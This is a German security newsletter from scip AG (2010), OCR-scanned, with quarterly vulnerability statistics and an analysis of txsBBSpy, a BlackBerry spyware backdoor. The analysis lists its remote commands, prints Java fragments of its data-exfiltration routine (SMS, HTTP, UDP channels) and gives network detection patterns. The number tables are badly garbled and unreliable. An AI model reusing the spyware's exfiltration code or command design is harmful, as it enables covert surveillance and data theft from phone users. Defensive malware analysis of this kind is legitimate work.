Verlauf der Anzahl Schwachstellen/Kategorie pro Monat - Zeitperiode 2010
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Registrierte Schwachstellen by scip AG

280

260

240

220

200

180

160

140

120

100

80

60

40

20

2003 - Q1
2003 - Q2
2003 - Q3
2003 - Q4
2004 - Q1
2004 - Q2
2004 - Q3
2004 - Q4
2005 - Q1
2005 - Q2
2005 - Q3
2005 - Q4
2006 - Q1
2006 - Q2
2006 - Q3
2006 - Q4
2007 - Q1
2007 - Q2
2007 - Q3
2007 - Q4
2008 - Q1
2008 - Q2
2008 - Q3
2008 - Q4
2009 - Q1
2009 - Q2
2009 - Q3
2009 - Q4
2010 - Q1
2010 - Q2

Verlauf der Anzahl Schwachstellen pro Quartal seit 2003 Q1

2003|2003 |2003 |2004 2004 | 2004 | 2004|2005 |2005 | 2005|2005 | 2006 |2006 |2006 |2006 | 2007 2007 |2007 |2007 |2008 | 2008 | 2008|2008 |2009 | 2009 2009 {2009 |2010 2010
-Q2 -Q3|-Q4 -QL|-Q2 -Q3|-Q4/-QL|-Q2 -Q3|-Q4 -Ql -Q2 -Q3|-Q4 -QL|-Q2 -Q3 -Q4 -QL|-Q2|-Q3|-Q4 -QL -Q2 -Q3 |- Q4 |-QL|-Q2

problematisch | 12 | 26 | 61 | 71 | 50 | 74 | 48 | 115 132 | 125|100 | 66 | 86 | 111 | 87 | 112 | 111|101 | 100 | 107 51 | 43 | 53 | 29 | 28 | 18 | 15 | 9 14| 7
w kritisch 9 | 518 | 71|59 78 | 67 |110| 96 | 125 | 92 | 89 | 96 | 114|135 | 97 K 81 | 53 | 44 | 51 | 43 | 42 | 27 | 28 | 14 | 21 | 13 | 24 | 8 8
W sehr kritisch 10 | 14 | 24 | 8 5 5 2 3 1 4 6 4 1 2 2 1 3 1 7 3 3 2 3 1 8

5 7 3

Verlauf der Anzahl Schwachstellen/Schweregrad pro Quartal seit 2003 Q1
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200 |200|200 200 |200 200 |200|200 {200 {200 {200 |200 | 200|200 | 200 |200|200 | 200|200 |200 |200|200 |200 | 200|200 [200 200 200 |201|201
3-|3-/3-3-|4-|4-|4-/4-5-|5-|5-|5-6-6-|6-6-7-7-7-|7-|8- 8- 8-[8-/9-/9-9- 9-|/0-|0-
Q1 |Q2|Q3|Q4/Q1|/Q2|Q3|Q4 Q1 Q2 Q3/Q4|Q1 Q2|Q3 Q4 QL Q2/Q3 Q4 Q1 Q2|Q3|Q4 Q1 /Q2/Q3 Q4 QL Q2
—e— Cross Site Scripting (XSS) 5|11 9 |10 4 | 4|6 |5|25(19/12/10/17 16| 7 |11|13|22|24 8 | 6 | 7 4|4 |1 3|1 |2
—a— Denial of Service (DoS) 3 /1839301934 |29|35|33 |55 /41|43 46 /35|49|60|53(29|18|22|13 /10|11 |1 4| 2| 4 |4 3
Designfehler 7 10|22 |16|12|27|23/59|89|80|45|32 /3963|4042 11| 4 |12|14|8|15|15|3 |12 4|5 |2| 3|3
~<— Directory Traversal 412 3 42 3|2/ 7|1|1]1 1
—%— Eingabeungtiltigkeit 4132 3|1/5]2 11 12|42 4/14/ 69 |6 |2|2|4 2|11
—e— Fehlende Authentifizierung 23|34/ 4 21|3 1123|213
—+— Fehlende Verschliisselung 412|448 2323|7214
—=— Fehlerhafte Leserechte 1,7 /118 |6|5|4/8|7|3|7|2,4,3|4/2 3|1 1
—=— Fehlerhafte Schreibrechte 8 86 |11/13/ 5|4 4|3 |2|1|5,3/1|4|2 4|2
Format String 114211 2,114/ 2|5|1|2|6|5]2|1 1|1 2
Konfigurationsfehler 3,8/10/10| 2|1 3 1 921 3 1
Pufferiiberlauf 10 | 24|55 |42 | 26|34 |28 65|53 |54 45|39 48|57 |63 52 52|66|64|68|44|49|39 45 18 31|18 |30|12| 7
~ Race-Condition 12 1 1/3/6 7|41 1|1|2|5|3|3 4|11 11 1
~— Schwache Authentifizierung 2/5/2|6|64|2|1/6|10 2|2|3|7|5|6]|2 1 1
—o— Schwache Verschlisselung | 2 | 2 | 2 | 1 1 2 212311 1
SQL-Injection 2 1 11211 3/1/1|1|6,2|3|3 1
—=— Symlink-Schw achstelle 12 1222|112 3
—=— Umgehungs-Angriff 1/2/3|3|10/3|14|5|1|5|5|3|6|5]|2 4,98 /100312 2 21
—o—L 6,6 8|5/ 8|16|6|7 |8 11,1318 /19177 |4|9 52|12 3|63 1|1

Verlauf der Anzahl Schwachstellen/Kategorie pro Quartal seit 2003 Q1
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5. Labs

Auf der scip Labs Webseite
(http://www.scip.ch/?labs.archiv) werden regel-
massig Neuigkeiten und Forschungsberichte
veroffentlicht.

5.1 txsBBSpy — Spyware fir BlackBer-
ry: Eine Analyse
12.02.2010 Marc Ruef, maru@scip.ch

Tyler Shields des Unternehmens Veracode hielt
an der ShmooCon 2010 einen Vortrag zur Si-
cherheit von BlackBerry-Geraten. Dabei disku-
tierte er in erster Linie die Mdglichkeiten von
mobiler Spyware:

While a number of “vendors” sell Blackberry spy-
ware, until now only a limited number of public
code examples exist. Real time capture of SMS
messages, Emails, and phone call logs are a
fraction of the features to be presented. Full
source code to the spyware will also be released.

Seine Ausfuhrungen illustrierte er mit einer ei-
gens dafur angefertigten Backdoor namens
txsBBSpy. Den Java-Quelltext dieser hat er noch
gleichentags veréffentlicht. In diesem Beitrag soll
die Funktionsweise der Hintertlir sowie die Imp-
lementierung besprochen werden.

Grundlage

Bei txsBBSpy handelt es sich um eine Spyware,
die als Backdoor eingebracht wird. Sie wird ge-
nutzt, um die Aktivitaten einer Person zu uber-
wachen und einzusehen. Ist die Malware einmal
installiert, kann sie Uber verschiedene Kanéle
gesteuert werden. Bei dieser Steuerung lasst
sich das Verhalten der Hintertir anpassen,
Zugriffe auf Datenbestdnde sowie Datensamm-
lungen durchfiihren. Damit wird im weitesten
Sinn ein RAT (Remote Access Tool) fur Black-
Berry realisiert. Ahnliche Ansatze haben wir bei
unseren Implementierungen fur das Apple iPho-
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ne und fir HTC mit Windows Mobile realisiert.

Die bereitgestellte Spyware ist primar in der La-
ge, samtliche abgespeicherten Daten auslesen
zu lassen. Dazu gehéren die folgenden Kernda-
ten eines modernen Mobiltelefons:

e Adressbuch
e Anrufliste
e Emails

Zusatzlich kénnen aber auch aktuelle Aktivitaten
in Echtzeit Gberwacht werden. Zu diesen geho-
ren die folgenden Moglichkeiten moderner Mobil-
telefone:

e GPS-Koordinaten
e Aufzeichnung durch das eingebaute Mik-
rofon

Damit wird eine umfassende Uberwachung des
Gerats sowie dessen Benutzers moglich. Weiter-
fuhrende Mdglichkeiten, wie zum Beispiel das
Generieren neuer Adressbucheintrdge oder das
Verschicken von Emails/SMS wéare ebenso
denkbar. Damit liesse sich zum Beispiel ein Pro-
xy oder ein Botnet aufbauen, mit dem sich aktu-
elle Geschéftsmodelle von Cyberkriminellen wei-
ter vorantreiben lassen.

Fernsteuerung

Die Fernsteuerung erfolgt durch processCom-
mand(String cmd), wobei das Argument cmd
unterschiedliche Kommandos entgegennehmen
in der Lage ist. Die untenstehende Tabelle illust-
riert die implementierten Mechanismen. Wird
beispielsweise TXSPHLON ibergeben, wird der
Phone Listener aktiviert. Und mit TXSEXFILSMS
wird die Datenextragierung mittels SMS reali-
siert.

Kommando ID  Funktion Listener |
TXSDIE 1 Beenden der Spyware

TXSPHLON 2 Aktivieren des Phone

Listener

TXSPHLOFF | 3 Deaktivieren des Phone
Listener

TXSPIMON 4 Aktivieren des PIM Liste-
ner

TXSPIMOFF | 5 Deaktivieren des PIM
Listener

TXSSLINON | 6 Aktivieren des SMS In
Listener

TXSSLINOF | 7 Deaktivieren des SMS In

F Listener

TXSSLOUT 8 Aktivieren des SMS Out

ON Listener

TXSSLOUT 9 Deaktivieren des SMS

OFF Out Listener



http://www.scip.ch/?labs.archiv
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http://www.veracode.com/blog/tyler-shields-senior-security-researcher/
http://www.shmoocon.org/presentations-all.html#monkeyberry
http://www.veracode.com/images/txsBBSpy.java
http://www.veracode.com/blog/2010/02/is-your-blackberry-app-spying-on-you/comment-page-1/
http://www.scip.ch/?labs.20091217
http://www.scip.ch/?labs.20091217
http://www.scip.ch/?labs.20100129
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Kommando ID | Funktion Listener
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Kommando ID  Funktion Ping
TXSPING 99 | Auf Ping mit Pong antwor-
ten

TXSGLON 10 | Aktivieren des GPS Liste- Anhand der in c abgelegten ID werden sodann
ner mit einem case-Konstrukt die jeweiligen Funktio-
TXSGLOFF 11 | Deaktivieren des GPS nen aufgerufen. Dies ist sehr modular und struk-
Listener turiert gelést. Zum Beispiel wird mittels folgen-
dem Code der Phone Listener eingerichtet:
Kommando ID | Funktion Dateiversand
TXSEXFILS |21 | Dateiversand als SMS pl = new PhoneLogger();
MS Phone.addPhoneListener(pl);
TXSEXFILS | 22 | Dateiversand als SMS break;
E\FAXSSDEC;FILE >3 BZE:%?;@ als Email Andern_ und Nutze_n der Transaktiopsmethoc_je
Wird die Transaktionsmethode geédndert, wird
MAIL dies in this._method abgelegt, wobei hier acht
TXSEXFILG | 24 | Dateiversand als HTTP i S
unterschiedliche Werte von 1 bis 8 erwartet wer-
ET CET den. Die nachfolgende Tabelle zeigt den Stand
TXSEXFILP 25 | Dateiversand als HTTP der Qegenwértigen Implementierung auf
OSsT POST )
TXSEXFILT 26 | Dateiversand zu TCP- Method ID Case ID Methode
CP Socket T T SMs
TXSEXFILU | 27 | Dateiversand zu UDP-
DP Socket 2 22 SMS Datagramm
3 23 Emalil
Kommando ID | Funktion Datensammlung 4 24 HTTP GET
gﬁSDUMPC 31 | Ausgeben aller Kontakte 5 25 HTTP POST
TXSDUMPG | 32 | Ausgeben der aktuellen 6 26 ubP
PS GPS-Koordinaten 7 27 TCP
TXSDUMPP | 33 | Ausgeben aller Phone- 8 28 DNS
L Logs
;\%(SEUMPE 34 | Ausgeben aller Emails Hierr;[r)it wird beinez'tumia?liergjc_ie ur_1td solide Lmﬁle-
. mentierung bereitgestellt, die mit einem hohen
TXSDUMPMI | 36 AL_n‘ze|chne_n der aktuellen Mass an ?:|eXibi|i3:'lt aufwarten kann. So ist es
c Mikrofon-Eingabe moglich zwischen unterschiedlichen Kanédlen zu
. S— wechseln, was spéatestens dann erforderlich wird,
Kommando __ ID___Funktion Kommunikation wenn die Zielsystem mit zusatzlichen Mechanis-
TXSIP 41 | Andern der Ziel-IP- AnAn- men geschiitzt werden (z.B. Firewalling oder
dern des Zielports Hardening der Konfigurationen).
TXSEM 42 | Adresse fur UDP- und
TCP-Transaktionen Die jeweiligen Transaktionsmethoden werden
TXSPORT 43 | dern der Ziel-Mailadresse dann durch die Funktion exfiltrate(String
fur Email-Transaktionen msg) angesteuert. Diese entscheidet anhand der
TXSPHONE | 44 | Andern der Ziel- - als msg (ibergebenen Argumente dariiber, wie
Telefonnummer fur SMS- nun eine Dateniibertragung stattfindet.
Transaktionen
TXSURL 45 | Andern der URL flr private void exfiltrate(String msg)
HTTP-Transaktionen
TXSHOST 46 | Andern des Ziel HOST fiir
DNS-Transaktionen it (msg.startsWith(“TXS_) != true)
TXSGTIME | 47 | Andern des Aktualisie- // Make sure that we haven’t already
rungszyklus fiir GPS- e?flltrated this message
Trackin B .,
TXSMTIVE 28 | Andern dor Daver fir msg = “TXS_7+msg; // Prepend our
. send marker
Mikrofon-Aufnahmen

switch (this.method)

{

case 1: exFilSMS(msg); break;

case 2: exfilSMS _dg(msg); break;
case 3: exfilEmail(msg); break;
case 4: exFilHTTP_GET(msg); break;
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case 5: exfilHTTP_POST(msg);
break;
case 6: exFilTCP(msg); break;
case 7: exftilUDP(msg); break;
case 8: exFilDNS(msg); break;
}
}
return;
}

Weiterfilhrend sind dann Funktionen wie ex-
filSMS(msg) fiir das Ubertragen der Daten per
SMS oder exfilHTTP_GET(msg) fur eine
Transaktion per HTTP GET zustandig.

Eine Datenubertragung per SMS findet relativ
simpel statt, indem durch den jeweiligen Connec-
tor das SMS mittels dem Scheme sms:// gene-
riert wird:

(MessageConnection) Connec-
tor.open(*'sms://" + this.pnum +
":-3590");

Erkennung und Entdeckung

Die Erkennung der Malware ist durch die ubli-
chen Mittel méglich. Eine Antiviren-Losung kann
versuchen durch patternbasierte oder heuristi-
sche Methoden die offensichtlichen Codeteile als

solche zu identifizieren.

Es gibt jedoch eine Vielzahl an Eigenarten, die
die Hintertlr spatestens bei deren Aktivitdten im
Netzwerk erkennen lassen.

© scip AG

Man merkt txsBBSpy an, dass es durch jeman-
den programmiert wurde, der ein derartiges Pro-
dukt nicht zum ersten Mal entwickelt hat. Zu
strukturiert und zu modular ist die gegebene
Implementierung, deren Sourcecode sich sehr
einfach und angenehm lesen lasst.

Und so spurt man dann auch heraus, dass die
Entwicklung weit Uber einen simplen Proof-of-
Concept hinaus geht. Tyler steckt ein gewisses
Mass an Leidenschaft in seine Lésung, die sich
durchaus produktiv einsetzen lasst. Die gegebe-
ne Flexibilitat ist nicht zu unterschatzen und eine
Nutzung deshalb zuséatzlich auch noch komforta-
bel.

Nur in einigen wenigen Punkten findet sich Ver-
besserungspotential. So gibt es einen kleinen
Fehler, der es verunmoglicht, dass eine Daten-
Ubertragung mittels DNS stattfinden kann. Und
so macht es auch an anderer Stelle den An-
schein, dass der verdffentlichte Code nicht ganz
dem entspricht, was hinter verschlossenen Tiren
entwickelt wurde. Es schien, als sei so manches
Feature kurzfristig vor dem Release entfernt
worden, was durch den Entwickler in einem
Comment bestatigt wurde:

Great catch ;) There is indeed a removed feature
in that location of the code. Consider it a preview
of additional things to be released at Source
Boston conference in April.

Dennoch zeigt das Produkt auf, dass auch auf
BlackBerry-Plattformen mit Risiken durch Malwa-
re zu rechnen ist. Da die Gerate bzw. die darauf
installierte Software zudem vermehrt Schwach-
stellen aufweisen (z.B. wie zuletzt im PDF-
Viewer), ist durchaus mit einem Potential fir
Kompromittierungen zu rechnen. Erste breitfla-
chige Infektionen sind jedoch in den letzten Mo-
naten schon zu verzeichnen gewesen. Dies ist
nicht verwunderlich, weist das Unternehmen
comScore die Verbreitung von BlackBerry mit

41.6% noch Ende 2009 als die grosste in den
USA aus.
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| Aktivitat ____Pattern _ Code

Dateniiber- | Mail-Betreff | m-setSubject("

tragung per | besteht aus | Urgent mes-

Email Urgent sage');

Message

Dateniiber- | URLs ha- ¢ = (HttpCon-

tragung per | ben die necti-

HTTP GET | Struktur on)Connector .o
http://<url>/ | PeNC*http://*+
<msg> th|§.url+ /' +m

s9):

Datenuiber- | User-Agent | C.setRequestPr

tragung per | besteht aus | operty(“'User-

HTTP BBSpywa- | Agent”,

POST rel<msg> BBSpy-

ware|'+msg);

Dateniiber- | Zielportist | conn = (Data-

tragung per | standard- gramConnec-

UDP massig tion)Connector
4444 .open('udp://"

+this_ip+":"+
this.port+";44
44");

Fazit

Anbieter Septem- Veran-

ber 2009 derung

RIM 42.60% 41.60% -1.00%
Apple 24.10% 25.30% +1.20%

Microsoft 19.00% 18.00% -1.00%

Palm 8.30% 6.10% -2.20%
Google 2.50% 5.20% +2.70%
- I—————


http://www.veracode.com/blog/2010/02/is-your-blackberry-app-spying-on-you/comment-page-1/#comment-3261
http://www.veracode.com/blog/2010/02/is-your-blackberry-app-spying-on-you/comment-page-1/#comment-3261
http://www.veracode.com/blog/2010/02/is-your-blackberry-app-spying-on-you/comment-page-1/#comment-3266
http://threatcenter.smobilesystems.com/?p=1752
http://www.blackberry.com/btsc/search.do?cmd=displayKC&docType=kc&externalId=KB19860
http://www.blackberry.com/btsc/search.do?cmd=displayKC&docType=kc&externalId=KB19860
http://www.sophos.com/blogs/gc/g/2009/11/25/smartphone-virus/
http://www.symantec.com/connect/de/blogs/phonesnoop-spying-blackberry-users
http://www.comscore.com/Press_Events/Press_Releases/2010/2/comScore_Reports_December_2009_U.S._Mobile_Subscriber_Market_Share
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6. Bilderratsel B

GESUCHTE BEGRIFFE

el yase flnem i Bl o L st B Do Baged T

8 (english)

11 (english) 7 (english)

LOSUNGSWORT

Wettbewerb
Mailen Sie uns das Losungswort an die Adresse
mailto:info@scip.ch inklusive lhren Kontakt-Koordinaten.

Das Los entscheidet Uber die Vergabe des Preises. Teilnah-
meberechtigt sind alle ausser den Mitarbeiterinnen und Mit-
arbeitern der scip AG sowie deren Angehdrige. Es wird keine
Korrespondenz gefiihrt. Der Rechtsweg ist ausgeschlossen.

Einsendeschluss ist der 15.05.2010.

Die Gewinnerlnnen werden nur auf ihren ausdricklichen
Wunsch publiziert. Die scip AG ubernimmt keinerlei, wie auch
immer geartete Haftung im Zusammenhang mit irgendeinem
im Rahmen des Gewinnspiels an eine Person vergebenen
Preises.

Gewinnen Sie ein Exemplar des Buches ,Die Kunst des
Penetration Testing“ von Marc Ruef. Dem meistverkauften
deutschsprachigen Penetration Testing Fachbuch auf dem

Markt.

Die Kunst des
Penetration Testing

et s e

===
——= [Fer——

http://www.computec.ch/mruef/?s=dkdpt
911 Buchseiten, ISBN 3-936546-49-5
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scip AG ist eine unabhangige Aktiengesellschaft
mit Sitz in Zirich. Seit der Grindung im Septem-
ber 2002 fokussiert sich die scip AG auf Dienst-
leistungen im Bereich Information Security. Un-
sere Kernkompetenz liegt dabei in der Uberprii-
fung der implementierten Sicherheitsmassnah-
men mittels Penetration Tests und Security
Audits und der Sicherstellung zur Nachvollzieh-
barkeit moglicher Eingriffsversuche und Attacken
(Log-Management und Forensische Analy-
sen). Vor dem Zusammenschluss unseres spe-
zialisierten Teams waren die meisten Mitarbeiter
mit der Implementierung von Sicherheitsinfra-
strukturen beschaftigen. So verfiigen wir tber
eine Reihe von Zertifizierungen (Solaris, Linux,
Checkpoint, ISS, Cisco, Okena, Finjan, Trend-
Micro, Symantec etc.), welche den Grundstein
fur unsere Projekte bilden. Das Grundwissen
vervollstandigen unsere Mitarbeiter durch ihre
ausgepragten Programmierkenntnisse. Dieses
Wissen &ussert sich in selbst geschriebenen
Routinen zur Ausnutzung gefundener Schwach-
stellen, dem Coding einer offenen Exploiting- und
Scanning Software als auch der Programmierung
eines eigenen Log-Management Frameworks.
Den kleinsten Teil des Wissens Uiber Penetration
Test und Log-Management lernt man jedoch an
Schulen — nur jahrelange Erfahrung kann ein
luckenloses Aufdecken von Schwachstellen und
die Nachvollziehbarkeit von Angriffsversuchen
garantieren.

Einem konstruktiv-kritischen Feedback ge-
genlber sind wir nicht abgeneigt. Denn nur
durch angeregten Ideenaustausch sind Verbes-
serungen mdoglich. Senden Sie lhr Schreiben an
smss-feedback@scip.ch. Das Errata (Verbesse-
rungen, Berichtigungen, Anderungen) der scip
monthly Security Summarys finden Sie online.
Der Bezug des scip monthly Security Summary
ist kostenlos. Anmelden! Abmelden!
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